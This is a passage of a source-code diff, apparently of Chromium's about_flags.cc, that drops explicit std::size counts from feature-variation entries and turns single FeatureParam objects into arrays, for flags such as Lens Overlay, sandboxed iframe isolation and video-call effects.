+    {"Show color picker", kNewTabPageCustomizationV2_ShowColorPicker, nullptr},
     {"Daily refresh after 20s",
-     kNewTabPageCustomizationV2_DailyRefreshThresholdMs,
-     std::size(kNewTabPageCustomizationV2_DailyRefreshThresholdMs), nullptr},
+     kNewTabPageCustomizationV2_DailyRefreshThresholdMs, nullptr},
     {"Show logo and search box in the preview dialog",
-     kNewTabPageCustomizationV2_ShowLogoAndSearchBox,
-     std::size(kNewTabPageCustomizationV2_ShowLogoAndSearchBox), nullptr}};
+     kNewTabPageCustomizationV2_ShowLogoAndSearchBox, nullptr}};
 
 const FeatureEntry::FeatureParam kAndroidComposeplate_V2Enabled[] = {
     {"v2_enabled", "true"}};
@@ -2971,12 +2731,10 @@
     {"skip_locale_check", "true"}};
 
 const FeatureEntry::FeatureVariation kAndroidComposeplateVariations[] = {
-    {"V2 enabled", kAndroidComposeplate_V2Enabled,
-     std::size(kAndroidComposeplate_V2Enabled), nullptr},
+    {"V2 enabled", kAndroidComposeplate_V2Enabled, nullptr},
     {"Hide incognito button", kAndroidComposeplate_HideIncognitoButton,
-     std::size(kAndroidComposeplate_HideIncognitoButton), nullptr},
-    {"Skip locale check", kAndroidComposeplate_SkipLocaleCheck,
-     std::size(kAndroidComposeplate_SkipLocaleCheck), nullptr}};
+     nullptr},
+    {"Skip locale check", kAndroidComposeplate_SkipLocaleCheck, nullptr}};
 
 const FeatureEntry::FeatureParam
     kAndroidAppIntegrationMultiDataSource_SkipDeviceCheck[] = {
@@ -2992,17 +2750,11 @@
 const FeatureEntry::FeatureVariation
     kAndroidAppIntegrationMultiDataSourceVariations[] = {
         {"Skip device check",
-         kAndroidAppIntegrationMultiDataSource_SkipDeviceCheck,
-         std::size(kAndroidAppIntegrationMultiDataSource_SkipDeviceCheck),
-         nullptr},
+         kAndroidAppIntegrationMultiDataSource_SkipDeviceCheck, nullptr},
         {"Skip schema check",
-         kAndroidAppIntegrationMultiDataSource_SkipSchemaCheck,
-         std::size(kAndroidAppIntegrationMultiDataSource_SkipSchemaCheck),
-         nullptr},
+         kAndroidAppIntegrationMultiDataSource_SkipSchemaCheck, nullptr},
         {"Skip both device and schema check",
          kAndroidAppIntegrationMultiDataSource_SkipBothDeviceAndSchemaCheck,
-         std::size(
-             kAndroidAppIntegrationMultiDataSource_SkipBothDeviceAndSchemaCheck),
          nullptr}};
 
 const FeatureEntry::FeatureParam kAuxiliarySearchDonation_MaxDonation_20[] = {
@@ -3018,14 +2770,10 @@
     {chrome::android::kAuxiliarySearchMaxBookmarksCountParam.name, "500"},
     {chrome::android::kAuxiliarySearchMaxTabsCountParam.name, "500"}};
 const FeatureEntry::FeatureVariation kAuxiliarySearchDonationVariations[] = {
-    {"50 counts", kAuxiliarySearchDonation_MaxDonation_20,
-     std::size(kAuxiliarySearchDonation_MaxDonation_20), nullptr},
-    {"100 counts", kAuxiliarySearchDonation_MaxDonation_100,
-     std::size(kAuxiliarySearchDonation_MaxDonation_100), nullptr},
-    {"200 counts", kAuxiliarySearchDonation_MaxDonation_200,
-     std::size(kAuxiliarySearchDonation_MaxDonation_200), nullptr},
-    {"500 counts", kAuxiliarySearchDonation_MaxDonation_500,
-     std::size(kAuxiliarySearchDonation_MaxDonation_500), nullptr},
+    {"50 counts", kAuxiliarySearchDonation_MaxDonation_20, nullptr},
+    {"100 counts", kAuxiliarySearchDonation_MaxDonation_100, nullptr},
+    {"200 counts", kAuxiliarySearchDonation_MaxDonation_200, nullptr},
+    {"500 counts", kAuxiliarySearchDonation_MaxDonation_500, nullptr},
 };
 
 const FeatureEntry::FeatureParam kBoardingPassDetectorUrl_AA[] = {
@@ -3037,12 +2785,9 @@
 const FeatureEntry::FeatureParam kBoardingPassDetectorUrl_Test[] = {
     {features::kBoardingPassDetectorUrlParamName, "http"}};
 const FeatureEntry::FeatureVariation kBoardingPassDetectorVariations[] = {
-    {"AA", kBoardingPassDetectorUrl_AA, std::size(kBoardingPassDetectorUrl_AA),
-     nullptr},
-    {"All", kBoardingPassDetectorUrl_All,
-     std::size(kBoardingPassDetectorUrl_All), nullptr},
-    {"Test", kBoardingPassDetectorUrl_Test,
-     std::size(kBoardingPassDetectorUrl_Test), nullptr},
+    {"AA", kBoardingPassDetectorUrl_AA, nullptr},
+    {"All", kBoardingPassDetectorUrl_All, nullptr},
+    {"Test", kBoardingPassDetectorUrl_Test, nullptr},
 };
 #endif  // BUILDFLAG(IS_ANDROID)
 
@@ -3051,8 +2796,7 @@
 const FeatureEntry::FeatureParam kShowNewTabAnimationsLogs[] = {
     {"logs", "true"}};
 const FeatureEntry::FeatureVariation kShowNewTabAnimationsVariations[] = {
-    {"- Add logs", kShowNewTabAnimationsLogs,
-     std::size(kShowNewTabAnimationsLogs), nullptr}};
+    {"- Add logs", kShowNewTabAnimationsLogs, nullptr}};
 
 const FeatureEntry::FeatureParam
     kTabStorageSqlitePrototypeAuthoritativeReads[] = {
@@ -3063,10 +2807,8 @@
 
 const FeatureEntry::FeatureVariation kTabStorageSqlitePrototypeVariations[] = {
     {"- Authoritative Read Source",
-     kTabStorageSqlitePrototypeAuthoritativeReads,
-     std::size(kTabStorageSqlitePrototypeAuthoritativeReads), nullptr},
-    {"- Full Migration", kTabStorageSqlitePrototypeFullMigration,
-     std::size(kTabStorageSqlitePrototypeFullMigration), nullptr}};
+     kTabStorageSqlitePrototypeAuthoritativeReads, nullptr},
+    {"- Full Migration", kTabStorageSqlitePrototypeFullMigration, nullptr}};
 
 #endif  // BUILDFLAG(IS_ANDROID)
 
@@ -3078,10 +2820,10 @@
 const FeatureEntry::FeatureVariation kRenderDocumentVariations[] = {
     {"Swap RenderFrameHosts on same-site navigations from subframes and "
      "crashed frames (experimental)",
-     kRenderDocument_Subframe, std::size(kRenderDocument_Subframe), nullptr},
+     kRenderDocument_Subframe, nullptr},
     {"Swap RenderFrameHosts on same-site navigations from any frame "
      "(experimental)",
-     kRenderDocument_AllFrames, std::size(kRenderDocument_AllFrames), nullptr},
+     kRenderDocument_AllFrames, nullptr},
 };
 
 #if BUILDFLAG(IS_ANDROID)
@@ -3146,12 +2888,9 @@
     {"sampling_rate", "0.001"}};
 
 const FeatureEntry::FeatureVariation kSCTAuditingVariations[] = {
-    {"Sampling rate 0%", kSCTAuditingSamplingRateNone,
-     std::size(kSCTAuditingSamplingRateNone), nullptr},
-    {"Sampling rate 0.01%", kSCTAuditingSamplingRateAlternativeOne,
-     std::size(kSCTAuditingSamplingRateAlternativeOne), nullptr},
-    {"Sampling rate 0.1%", kSCTAuditingSamplingRateAlternativeTwo,
-     std::size(kSCTAuditingSamplingRateAlternativeTwo), nullptr},
+    {"Sampling rate 0%", kSCTAuditingSamplingRateNone, nullptr},
+    {"Sampling rate 0.01%", kSCTAuditingSamplingRateAlternativeOne, nullptr},
+    {"Sampling rate 0.1%", kSCTAuditingSamplingRateAlternativeTwo, nullptr},
 };
 #endif  // !BUILDFLAG(IS_ANDROID)
 
@@ -3173,19 +2912,14 @@
 
 const FeatureEntry::FeatureVariation kLauncherItemSuggestVariations[] = {
     {"with 10 minute long delay", kLauncherItemSuggest_LongDelay10Mins,
-     std::size(kLauncherItemSuggest_LongDelay10Mins), nullptr},
-    {"with 12 hour long delay", kLauncherItemSuggest_LongDelay12Hours,
-     std::size(kLauncherItemSuggest_LongDelay12Hours), nullptr},
-    {"with 24 hour long delay", kLauncherItemSuggest_LongDelay24Hours,
-     std::size(kLauncherItemSuggest_LongDelay24Hours), nullptr},
-    {"with 36 hour long delay", kLauncherItemSuggest_LongDelay36Hours,
-     std::size(kLauncherItemSuggest_LongDelay36Hours), nullptr},
-    {"with 48 hour long delay", kLauncherItemSuggest_LongDelay48Hours,
-     std::size(kLauncherItemSuggest_LongDelay48Hours), nullptr},
-    {"with 60 hour long delay", kLauncherItemSuggest_LongDelay60Hours,
-     std::size(kLauncherItemSuggest_LongDelay60Hours), nullptr},
+     nullptr},
+    {"with 12 hour long delay", kLauncherItemSuggest_LongDelay12Hours, nullptr},
+    {"with 24 hour long delay", kLauncherItemSuggest_LongDelay24Hours, nullptr},
+    {"with 36 hour long delay", kLauncherItemSuggest_LongDelay36Hours, nullptr},
+    {"with 48 hour long delay", kLauncherItemSuggest_LongDelay48Hours, nullptr},
+    {"with 60 hour long delay", kLauncherItemSuggest_LongDelay60Hours, nullptr},
     {"with 72 hour long delay", kLauncherItemSuggest_LongDelay72Hours,
-     std::size(kLauncherItemSuggest_LongDelay72Hours), nullptr}};
+     nullptr}};
 
 const FeatureEntry::FeatureParam kLauncherLocalImageSearchConfidence_10[] = {
     {"confidence_threshold", "10"}};
@@ -3214,30 +2948,18 @@
 
 const FeatureEntry::FeatureVariation
     kLauncherLocalImageSearchConfidenceVariations[] = {
-        {"threshold 10", kLauncherLocalImageSearchConfidence_10,
-         std::size(kLauncherLocalImageSearchConfidence_10), nullptr},
-        {"threshold 20", kLauncherLocalImageSearchConfidence_20,
-         std::size(kLauncherLocalImageSearchConfidence_20), nullptr},
-        {"threshold 30", kLauncherLocalImageSearchConfidence_30,
-         std::size(kLauncherLocalImageSearchConfidence_30), nullptr},
-        {"threshold 40", kLauncherLocalImageSearchConfidence_40,
-         std::size(kLauncherLocalImageSearchConfidence_40), nullptr},
-        {"threshold 50", kLauncherLocalImageSearchConfidence_50,
-         std::size(kLauncherLocalImageSearchConfidence_50), nullptr},
-        {"threshold 60", kLauncherLocalImageSearchConfidence_60,
-         std::size(kLauncherLocalImageSearchConfidence_60), nullptr},
-        {"threshold 70", kLauncherLocalImageSearchConfidence_70,
-         std::size(kLauncherLocalImageSearchConfidence_70), nullptr},
-        {"threshold 80", kLauncherLocalImageSearchConfidence_80,
-         std::size(kLauncherLocalImageSearchConfidence_80), nullptr},
-        {"threshold 90", kLauncherLocalImageSearchConfidence_90,
-         std::size(kLauncherLocalImageSearchConfidence_90), nullptr},
-        {"threshold 100", kLauncherLocalImageSearchConfidence_100,
-         std::size(kLauncherLocalImageSearchConfidence_100), nullptr},
-        {"threshold 110", kLauncherLocalImageSearchConfidence_110,
-         std::size(kLauncherLocalImageSearchConfidence_110), nullptr},
-        {"threshold 120", kLauncherLocalImageSearchConfidence_120,
-         std::size(kLauncherLocalImageSearchConfidence_120), nullptr}};
+        {"threshold 10", kLauncherLocalImageSearchConfidence_10, nullptr},
+        {"threshold 20", kLauncherLocalImageSearchConfidence_20, nullptr},
+        {"threshold 30", kLauncherLocalImageSearchConfidence_30, nullptr},
+        {"threshold 40", kLauncherLocalImageSearchConfidence_40, nullptr},
+        {"threshold 50", kLauncherLocalImageSearchConfidence_50, nullptr},
+        {"threshold 60", kLauncherLocalImageSearchConfidence_60, nullptr},
+        {"threshold 70", kLauncherLocalImageSearchConfidence_70, nullptr},
+        {"threshold 80", kLauncherLocalImageSearchConfidence_80, nullptr},
+        {"threshold 90", kLauncherLocalImageSearchConfidence_90, nullptr},
+        {"threshold 100", kLauncherLocalImageSearchConfidence_100, nullptr},
+        {"threshold 110", kLauncherLocalImageSearchConfidence_110, nullptr},
+        {"threshold 120", kLauncherLocalImageSearchConfidence_120, nullptr}};
 
 const FeatureEntry::FeatureParam kLauncherLocalImageSearchRelevance_10[] = {
     {"relevance_threshold", "0.1"}};
@@ -3260,24 +2982,15 @@
 
 const FeatureEntry::FeatureVariation
     kLauncherLocalImageSearchRelevanceVariations[] = {
-        {"threshold 0.1", kLauncherLocalImageSearchRelevance_10,
-         std::size(kLauncherLocalImageSearchRelevance_10), nullptr},
-        {"threshold 0.2", kLauncherLocalImageSearchRelevance_20,
-         std::size(kLauncherLocalImageSearchRelevance_20), nullptr},
-        {"threshold 0.3", kLauncherLocalImageSearchRelevance_30,
-         std::size(kLauncherLocalImageSearchRelevance_30), nullptr},
-        {"threshold 0.4", kLauncherLocalImageSearchRelevance_40,
-         std::size(kLauncherLocalImageSearchRelevance_40), nullptr},
-        {"threshold 0.5", kLauncherLocalImageSearchRelevance_50,
-         std::size(kLauncherLocalImageSearchRelevance_50), nullptr},
-        {"threshold 0.6", kLauncherLocalImageSearchRelevance_60,
-         std::size(kLauncherLocalImageSearchRelevance_60), nullptr},
-        {"threshold 0.7", kLauncherLocalImageSearchRelevance_70,
-         std::size(kLauncherLocalImageSearchRelevance_70), nullptr},
-        {"threshold 0.8", kLauncherLocalImageSearchRelevance_80,
-         std::size(kLauncherLocalImageSearchRelevance_80), nullptr},
-        {"threshold 0.9", kLauncherLocalImageSearchRelevance_90,
-         std::size(kLauncherLocalImageSearchRelevance_90), nullptr}};
+        {"threshold 0.1", kLauncherLocalImageSearchRelevance_10, nullptr},
+        {"threshold 0.2", kLauncherLocalImageSearchRelevance_20, nullptr},
+        {"threshold 0.3", kLauncherLocalImageSearchRelevance_30, nullptr},
+        {"threshold 0.4", kLauncherLocalImageSearchRelevance_40, nullptr},
+        {"threshold 0.5", kLauncherLocalImageSearchRelevance_50, nullptr},
+        {"threshold 0.6", kLauncherLocalImageSearchRelevance_60, nullptr},
+        {"threshold 0.7", kLauncherLocalImageSearchRelevance_70, nullptr},
+        {"threshold 0.8", kLauncherLocalImageSearchRelevance_80, nullptr},
+        {"threshold 0.9", kLauncherLocalImageSearchRelevance_90, nullptr}};
 
 const FeatureEntry::FeatureParam kCampbell9dot[] = {{"icon", "9dot"}};
 const FeatureEntry::FeatureParam kCampbellHero[] = {{"icon", "hero"}};
@@ -3285,10 +2998,10 @@
 const FeatureEntry::FeatureParam kCampbellText[] = {{"icon", "text"}};
 
 const FeatureEntry::FeatureVariation kCampbellGlyphVariations[] = {
-    {"9dot", kCampbell9dot, std::size(kCampbell9dot), nullptr},
-    {"hero", kCampbellHero, std::size(kCampbellHero), nullptr},
-    {"action", kCampbellAction, std::size(kCampbellAction), nullptr},
-    {"text", kCampbellText, std::size(kCampbellText), nullptr}};
+    {"9dot", kCampbell9dot, nullptr},
+    {"hero", kCampbellHero, nullptr},
+    {"action", kCampbellAction, nullptr},
+    {"text", kCampbellText, nullptr}};
 
 const FeatureEntry::FeatureParam kCaptureModeEducationShortcutNudge[] = {
     {"CaptureModeEducationParam", "ShortcutNudge"}};
@@ -3298,12 +3011,9 @@
     {"CaptureModeEducationParam", "QuickSettingsNudge"}};
 
 const FeatureEntry::FeatureVariation kCaptureModeEducationVariations[] = {
-    {"Shortcut Nudge", kCaptureModeEducationShortcutNudge,
-     std::size(kCaptureModeEducationShortcutNudge), nullptr},
-    {"Shortcut Tutorial", kCaptureModeEducationShortcutTutorial,
-     std::size(kCaptureModeEducationShortcutTutorial), nullptr},
-    {"Quick Settings Nudge", kCaptureModeEducationQuickSettingsNudge,
-     std::size(kCaptureModeEducationQuickSettingsNudge), nullptr}};
+    {"Shortcut Nudge", kCaptureModeEducationShortcutNudge, nullptr},
+    {"Shortcut Tutorial", kCaptureModeEducationShortcutTutorial, nullptr},
+    {"Quick Settings Nudge", kCaptureModeEducationQuickSettingsNudge, nullptr}};
 
 const FeatureEntry::FeatureParam
     kSystemShortcutBehaviorIgnoreCommonVdiShortcuts[] = {
@@ -3320,20 +3030,13 @@
 
 const FeatureEntry::FeatureVariation kSystemShortcutBehaviorVariations[] = {
     {"Ignore Common VDI Shortcuts",
-     kSystemShortcutBehaviorIgnoreCommonVdiShortcuts,
-     std::size(kSystemShortcutBehaviorIgnoreCommonVdiShortcuts), nullptr},
+     kSystemShortcutBehaviorIgnoreCommonVdiShortcuts, nullptr},
     {"Ignore Common VDI Shortcuts while Fullscreen",
-     kSystemShortcutBehaviorIgnoreCommonVdiShortcutsFullscreenOnly,
-     std::size(kSystemShortcutBehaviorIgnoreCommonVdiShortcutsFullscreenOnly),
-     nullptr},
+     kSystemShortcutBehaviorIgnoreCommonVdiShortcutsFullscreenOnly, nullptr},
     {"Allow Search Based Passthrough",
-     kSystemShortcutBehaviorAllowSearchBasedPassthrough,
-     std::size(kSystemShortcutBehaviorAllowSearchBasedPassthrough), nullptr},
+     kSystemShortcutBehaviorAllowSearchBasedPassthrough, nullptr},
     {"Allow Search Based Passthrough while Fullscreen",
-     kSystemShortcutBehaviorAllowSearchBasedPassthroughFullscreenOnly,
-     std::size(
-         kSystemShortcutBehaviorAllowSearchBasedPassthroughFullscreenOnly),
-     nullptr},
+     kSystemShortcutBehaviorAllowSearchBasedPassthroughFullscreenOnly, nullptr},
 };
 
 #endif  // BUILDFLAG(IS_CHROMEOS)
@@ -3386,14 +3089,11 @@
 };
 
 const FeatureEntry::FeatureVariation kLensOverlayVariations[] = {
-    {"with no omnibox entry point", kLensOverlayNoOmniboxEntryPoint,
-     std::size(kLensOverlayNoOmniboxEntryPoint), nullptr},
+    {"with no omnibox entry point", kLensOverlayNoOmniboxEntryPoint, nullptr},
     {"with responsive chip omnibox entry point",
-     kLensOverlayResponsiveOmniboxEntryPoint,
-     std::size(kLensOverlayResponsiveOmniboxEntryPoint), nullptr},
+     kLensOverlayResponsiveOmniboxEntryPoint, nullptr},
     {"with persistent icon omnibox entry point",
-     kLensOverlayPersistentOmniboxEntryPoint,
-     std::size(kLensOverlayPersistentOmniboxEntryPoint), nullptr},
+     kLensOverlayPersistentOmniboxEntryPoint, nullptr},
 };
 #endif  // !BUILDFLAG(IS_ANDROID)
 
@@ -3416,28 +3116,24 @@
 
 const FeatureEntry::FeatureVariation
     kLensOverlayImageContextMenuActionsVariations[] = {
-        {"copy as image", kLensOverlayImageContextMenuActionsCopy,
-         std::size(kLensOverlayImageContextMenuActionsCopy), nullptr},
-        {"save as image", kLensOverlayImageContextMenuActionsSave,
-         std::size(kLensOverlayImageContextMenuActionsSave), nullptr},
+        {"copy as image", kLensOverlayImageContextMenuActionsCopy, nullptr},
+        {"save as image", kLensOverlayImageContextMenuActionsSave, nullptr},
         {"copy and save as image",
-         kLensOverlayImageContextMenuActionsCopyAndSave,
-         std::size(kLensOverlayImageContextMenuActionsCopyAndSave), nullptr},
+         kLensOverlayImageContextMenuActionsCopyAndSave, nullptr},
 };
 
 const FeatureEntry::FeatureParam
-    kLensOverlayTextSelectionContextMenuEntrypointContextualized{
-        "contextualize", "true"};
+    kLensOverlayTextSelectionContextMenuEntrypointContextualized[] = {
+        {"contextualize", "true"}};
 const FeatureEntry::FeatureParam
-    kLensOverlayTextSelectionContextMenuEntrypointNonContextualized{
-        "contextualize", "false"};
+    kLensOverlayTextSelectionContextMenuEntrypointNonContextualized[] = {
+        {"contextualize", "false"}};
 const FeatureEntry::FeatureVariation
     kLensOverlayTextSelectionContextMenuEntrypointVariations[] = {
         {"contextualized",
-         &kLensOverlayTextSelectionContextMenuEntrypointContextualized, 1,
-         nullptr},
+         kLensOverlayTextSelectionContextMenuEntrypointContextualized, nullptr},
         {"non-contextualized",
-         &kLensOverlayTextSelectionContextMenuEntrypointNonContextualized, 1,
+         kLensOverlayTextSelectionContextMenuEntrypointNonContextualized,
          nullptr},
 };
 #endif  // !BUILDFLAG(IS_ANDROID)
@@ -3467,20 +3163,20 @@
 #endif  // BUILDFLAG(IS_CHROMEOS)
 
 // Feature variations for kIsolateSandboxedIframes.
-const FeatureEntry::FeatureParam kIsolateSandboxedIframesGroupingPerSite{
-    "grouping", "per-site"};
-const FeatureEntry::FeatureParam kIsolateSandboxedIframesGroupingPerOrigin{
-    "grouping", "per-origin"};
-const FeatureEntry::FeatureParam kIsolateSandboxedIframesGroupingPerDocument{
-    "grouping", "per-document"};
+const FeatureEntry::FeatureParam kIsolateSandboxedIframesGroupingPerSite[] = {
+    {"grouping", "per-site"}};
+const FeatureEntry::FeatureParam kIsolateSandboxedIframesGroupingPerOrigin[] = {
+    {"grouping", "per-origin"}};
+const FeatureEntry::FeatureParam kIsolateSandboxedIframesGroupingPerDocument[] =
+    {{"grouping", "per-document"}};
 const FeatureEntry::FeatureVariation
     kIsolateSandboxedIframesGroupingVariations[] = {
-        {"with grouping by URL's site",
-         &kIsolateSandboxedIframesGroupingPerSite, 1, nullptr},
+        {"with grouping by URL's site", kIsolateSandboxedIframesGroupingPerSite,
+         nullptr},
         {"with grouping by URL's origin",
-         &kIsolateSandboxedIframesGroupingPerOrigin, 1, nullptr},
+         kIsolateSandboxedIframesGroupingPerOrigin, nullptr},
         {"with each sandboxed frame document in its own process",
-         &kIsolateSandboxedIframesGroupingPerDocument, 1, nullptr},
+         kIsolateSandboxedIframesGroupingPerDocument, nullptr},
 };
 
 // Feature variation for kPdfInk2.
@@ -3499,13 +3195,10 @@
 };
 
 const FeatureEntry::FeatureVariation kPdfInk2Variations[] = {
-    {"with text highlighting", kPdfInk2TextHighlighting,
-     std::size(kPdfInk2TextHighlighting), nullptr},
-    {"with text annotations", kPdfInk2TextAnnotations,
-     std::size(kPdfInk2TextAnnotations), nullptr},
+    {"with text highlighting", kPdfInk2TextHighlighting, nullptr},
+    {"with text annotations", kPdfInk2TextAnnotations, nullptr},
     {"with text highlighting and annotations",
-     kPdfInk2TextHighlightingAndAnnotations,
-     std::size(kPdfInk2TextHighlightingAndAnnotations), nullptr},
+     kPdfInk2TextHighlightingAndAnnotations, nullptr},
 };
 #endif  // BUILDFLAG(ENABLE_PDF_INK2)
 
@@ -3515,9 +3208,8 @@
     {"method", "first"}};
 const FeatureEntry::FeatureVariation kWebRtcApmDownmixMethodVariations[] = {
     {"- Average all the input channels", kWebRtcApmDownmixMethodAverage,
-     std::size(kWebRtcApmDownmixMethodAverage), nullptr},
-    {"- Use first channel", kWebRtcApmDownmixMethodFirstChannel,
-     std::size(kWebRtcApmDownmixMethodFirstChannel), nullptr}};
+     nullptr},
+    {"- Use first channel", kWebRtcApmDownmixMethodFirstChannel, nullptr}};
 
 const FeatureEntry::FeatureParam
     kSafetyCheckUnusedSitePermissionsNoDelayParam[] = {
@@ -3530,10 +3222,9 @@
 const FeatureEntry::FeatureVariation
     kSafetyCheckUnusedSitePermissionsVariations[] = {
         {"for testing no delay", kSafetyCheckUnusedSitePermissionsNoDelayParam,
-         std::size(kSafetyCheckUnusedSitePermissionsNoDelayParam), nullptr},
+         nullptr},
         {"for testing with delay",
-         kSafetyCheckUnusedSitePermissionsWithDelayParam,
-         std::size(kSafetyCheckUnusedSitePermissionsWithDelayParam), nullptr},
+         kSafetyCheckUnusedSitePermissionsWithDelayParam, nullptr},
 };
 
 const FeatureEntry::FeatureParam
@@ -3606,23 +3297,15 @@
 const FeatureEntry::FeatureVariation kTpcdHeuristicsGrantsVariations[] = {
     {"CurrentInteraction_ShortRedirect_MainFrameInitiator",
      kTpcdHeuristicsGrants_CurrentInteraction_ShortRedirect_MainFrameInitiator,
-     std::size(
-         kTpcdHeuristicsGrants_CurrentInteraction_ShortRedirect_MainFrameInitiator),
      nullptr},
     {"CurrentInteraction_LongRedirect_MainFrameInitiator",
      kTpcdHeuristicsGrants_CurrentInteraction_LongRedirect_MainFrameInitiator,
-     std::size(
-         kTpcdHeuristicsGrants_CurrentInteraction_LongRedirect_MainFrameInitiator),
      nullptr},
     {"CurrentInteraction_ShortRedirect_AllFrameInitiator",
      kTpcdHeuristicsGrants_CurrentInteraction_ShortRedirect_AllFrameInitiator,
-     std::size(
-         kTpcdHeuristicsGrants_CurrentInteraction_ShortRedirect_AllFrameInitiator),
      nullptr},
     {"CurrentInteraction_LongRedirect_AllFrameInitiator",
      kTpcdHeuristicsGrants_CurrentInteraction_LongRedirect_AllFrameInitiator,
-     std::size(
-         kTpcdHeuristicsGrants_CurrentInteraction_LongRedirect_AllFrameInitiator),
      nullptr}};
 
 #if BUILDFLAG(IS_CHROMEOS)
@@ -3639,28 +3322,20 @@
 };
 
 const FeatureEntry::FeatureVariation kVcRelightingInferenceBackendVariations[] =
-    {{"AUTO", kVcInferenceBackendAuto, std::size(kVcInferenceBackendAuto),
-      nullptr},
-     {"GPU", kVcInferenceBackendGpu, std::size(kVcInferenceBackendGpu),
-      nullptr},
-     {"NPU", kVcInferenceBackendNpu, std::size(kVcInferenceBackendNpu),
-      nullptr}};
+    {{"AUTO", kVcInferenceBackendAuto, nullptr},
+     {"GPU", kVcInferenceBackendGpu, nullptr},
+     {"NPU", kVcInferenceBackendNpu, nullptr}};
 
 const FeatureEntry::FeatureVariation kVcRetouchInferenceBackendVariations[] = {
-    {"AUTO", kVcInferenceBackendAuto, std::size(kVcInferenceBackendAuto),
-     nullptr},
-    {"GPU", kVcInferenceBackendGpu, std::size(kVcInferenceBackendGpu), nullptr},
-    {"NPU", kVcInferenceBackendNpu, std::size(kVcInferenceBackendNpu),
-     nullptr}};
+    {"AUTO", kVcInferenceBackendAuto, nullptr},
+    {"GPU", kVcInferenceBackendGpu, nullptr},
+    {"NPU", kVcInferenceBackendNpu, nullptr}};
 
 const FeatureEntry::FeatureVariation
     kVcSegmentationInferenceBackendVariations[] = {
-        {"AUTO", kVcInferenceBackendAuto, std::size(kVcInferenceBackendAuto),
-         nullptr},
-        {"GPU", kVcInferenceBackendGpu, std::size(kVcInferenceBackendGpu),
-         nullptr},
-        {"NPU", kVcInferenceBackendNpu, std::size(kVcInferenceBackendNpu),
-         nullptr}};
+        {"AUTO", kVcInferenceBackendAuto, nullptr},
+        {"GPU", kVcInferenceBackendGpu, nullptr},
+        {"NPU", kVcInferenceBackendNpu, nullptr}};
 
 const FeatureEntry::FeatureParam kVcSegmentationModelHighResolution[] = {
     {"segmentation_model", "high_resolution"},
@@ -3671,10 +3346,8 @@
 };
 
 const FeatureEntry::FeatureVariation kVcSegmentationModelVariations[] = {
-    {"High resolution model", kVcSegmentationModelHighResolution,
-     std::size(kVcSegmentationModelHighResolution), nullptr},
-    {"Lower resolution model", kVcSegmentationModelLowerResolution,
-     std::size(kVcSegmentationModelLowerResolution), nullptr},
+    {"High resolution model", kVcSegmentationModelHighResolution, nullptr},
+    {"Lower resolution model", kVcSegmentationModelLowerResolution, nullptr},
 };
 
 const FeatureEntry::FeatureParam kVcLightIntensity10[] = {
@@ -3702,12 +3375,12 @@
 };
 
 const FeatureEntry::FeatureVariation kVcLightIntensityVariations[] = {
-    {"1.0", kVcLightIntensity10, std::size(kVcLightIntensity10), nullptr},
-    {"1.3", kVcLightIntensity13, std::size(kVcLightIntensity13), nullptr},
-    {"1.5", kVcLightIntensity15, std::size(kVcLightIntensity15), nullptr},
-    {"1.7", kVcLightIntensity17, std::size(kVcLightIntensity17), nullptr},
-    {"1.8", kVcLightIntensity18, std::size(kVcLightIntensity18), nullptr},
-    {"2.0", kVcLightIntensity20, std::size(kVcLightIntensity20), nullptr},
+    {"1.0", kVcLightIntensity10, nullptr},
+    {"1.3", kVcLightIntensity13, nullptr},
+    {"1.5", kVcLightIntensity15, nullptr},
+    {"1.7", kVcLightIntensity17, nullptr},
+    {"1.8", kVcLightIntensity18, nullptr},
+    {"2.0", kVcLightIntensity20, nullptr},
 };
 
 const FeatureEntry::FeatureParam
@@ -3738,21 +3411,17 @@
 const FeatureEntry::FeatureVariation
     kCrOSLateBootMissiveStorageDefaultVariations[] = {
         {"Enable storage degradation",
-         kCrOSLateBootMissiveEnableStorageDegradation,
-         std::size(kCrOSLateBootMissiveEnableStorageDegradation), nullptr},
+         kCrOSLateBootMissiveEnableStorageDegradation, nullptr},
         {"Disable storage degradation",
-         kCrOSLateBootMissiveDisableStorageDegradation,
-         std::size(kCrOSLateBootMissiveDisableStorageDegradation), nullptr},
+         kCrOSLateBootMissiveDisableStorageDegradation, nullptr},
         {"Enable all queues legacy", kCrOSLateBootMissiveEnableLegacyStorage,
-         std::size(kCrOSLateBootMissiveEnableLegacyStorage), nullptr},
+         nullptr},
         {"Disable all queues legacy", kCrOSLateBootMissiveDisableLegacyStorage,
-         std::size(kCrOSLateBootMissiveDisableLegacyStorage), nullptr},
+         nullptr},
         {"Enable SECURITY and IMMEDIATE queues legacy only",
-         kCrOSLateBootMissivePartialLegacyStorage,
-         std::size(kCrOSLateBootMissivePartialLegacyStorage), nullptr},
+         kCrOSLateBootMissivePartialLegacyStorage, nullptr},
         {"Enable SECURITY queues legacy only",
-         kCrOSLateBootMissiveSecurityLegacyStorage,
-         std::size(kCrOSLateBootMissiveSecurityLegacyStorage), nullptr},
+         kCrOSLateBootMissiveSecurityLegacyStorage, nullptr},
 };
 #endif  // BUILDFLAG(IS_CHROMEOS)
 
@@ -3778,16 +3447,14 @@
 const FeatureEntry::FeatureParam sAndroidThemeModuleParams[] = {
     {"force_theme_module_dependencies", "true"}};
 const FeatureEntry::FeatureVariation kAndroidThemeModuleVariations[] = {
-    {"force dependencies", sAndroidThemeModuleParams,
-     std::size(sAndroidThemeModuleParams), nullptr},
+    {"force dependencies", sAndroidThemeModuleParams, nullptr},
 };
 
 const FeatureEntry::FeatureParam sAndroidThemeResourceProviderParams[] = {
     {"force_light_theme", "true"}};
 const FeatureEntry::FeatureVariation kAndroidThemeResourceProviderVariations[] =
     {
-        {"force light theme", sAndroidThemeResourceProviderParams,
-         std::size(sAndroidThemeResourceProviderParams), nullptr},
+        {"force light theme", sAndroidThemeResourceProviderParams, nullptr},
 };
 
 #endif  // BUILDFLAG(IS_ANDROID)
@@ -3809,17 +3476,13 @@
         {"link_capturing_state", "reimpl_on_via_client_mode"}};
 const flags_ui::FeatureEntry::FeatureVariation
     kPwaNavigationCapturingVariations[] = {
-        {"V1, On by default", kPwaNavigationCapturingDefaultOn,
-         std::size(kPwaNavigationCapturingDefaultOn), nullptr},
-        {"V1, Off by default", kPwaNavigationCapturingDefaultOff,
-         std::size(kPwaNavigationCapturingDefaultOff), nullptr},
-        {"V2, On by default", kPwaNavigationCapturingReimplDefaultOn,
-         std::size(kPwaNavigationCapturingReimplDefaultOn), nullptr},
+        {"V1, On by default", kPwaNavigationCapturingDefaultOn, nullptr},
+        {"V1, Off by default", kPwaNavigationCapturingDefaultOff, nullptr},
+        {"V2, On by default", kPwaNavigationCapturingReimplDefaultOn, nullptr},
